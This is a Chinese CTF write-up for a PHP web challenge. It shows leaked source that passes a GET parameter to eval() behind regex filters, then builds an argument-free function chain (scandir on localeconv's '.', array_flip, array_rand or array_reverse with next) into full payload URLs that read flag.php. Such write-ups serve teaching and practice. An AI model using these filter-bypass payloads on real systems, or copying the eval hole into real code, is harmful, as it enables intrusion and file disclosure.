知识点
无参数RCE
审题
个人不喜欢一上来就用自动化的工具这里扫扫那里扫扫 因为之前在比赛的时候 web刚出一道题 一堆人上来就是拿着御剑啊sqlmap啊在那扫 后来直到第二题放出来前第一题根本没办法做 后面看了wp才知道要用githack扫 源码泄露 我就没扫了 就先贴上扫出来的源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
明显是个RCE 只不过有三层过滤 首先第一层:php伪协议用不了了 第二层:(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。 第三层:et info等函数也用不了 典型的无参数rce 简单来说 我们需要用全局变量来rce
解题
以一般的思路来说 肯定是要先scandir的 没有scandir没办法往下做 但是问题是scandir需要一个目录 而如果扫描当前目录的话需要一个"." 第一部的预想就是要构造一个"."
localeconv()
可能有人没见过这个函数(是我了) 但是他在这很重要
看上图 返回的第一个数组就是'.' 但是毕竟是数组 还不是'.' 不过既然是数组 可以用current()
current()
这个函数返回默认的是当前数组的第一个 加上之后就过了第一步 拿到了目录 可以了 不做了
下一步 我们只是拿到了这个数组的键值 还没有拿到这个数组对应flag键值的具体值
array_flip()
这个函数就可以做到刚刚说的 然后我们得到了键值
再下一步 这是道rce 我们最后是@eval 也就是说我们到时候读没办法把整个数组里的东西一次性读出来 只能通过highlight_file或者show_source flag.php的方法 简单来说就是要一个单独的flag.php这个倒数第二个值
那咋办嘛
接下来就是判断你血统的时候了
array_rand()
简单来说这个函数可以随机返回一个数组里的值 我们刚刚日出了键值 这个函数就可以随机返回一个键值
你运气好的话可以玩一整天然后就在外面套一层highlight_file或者show_source就能拿到flag了 完整payload
http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
假如你不想检验血统
假如你不能这样做一整天的话 还有个函数叫array_reverse() 简单来说就是逆序输出数组 但是我们的那个flag在倒数第二个 所以我们还需要一个next() 顾名思义 输出下一个 把这个next套在
array_reverse()外面 完整payload
http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
EOF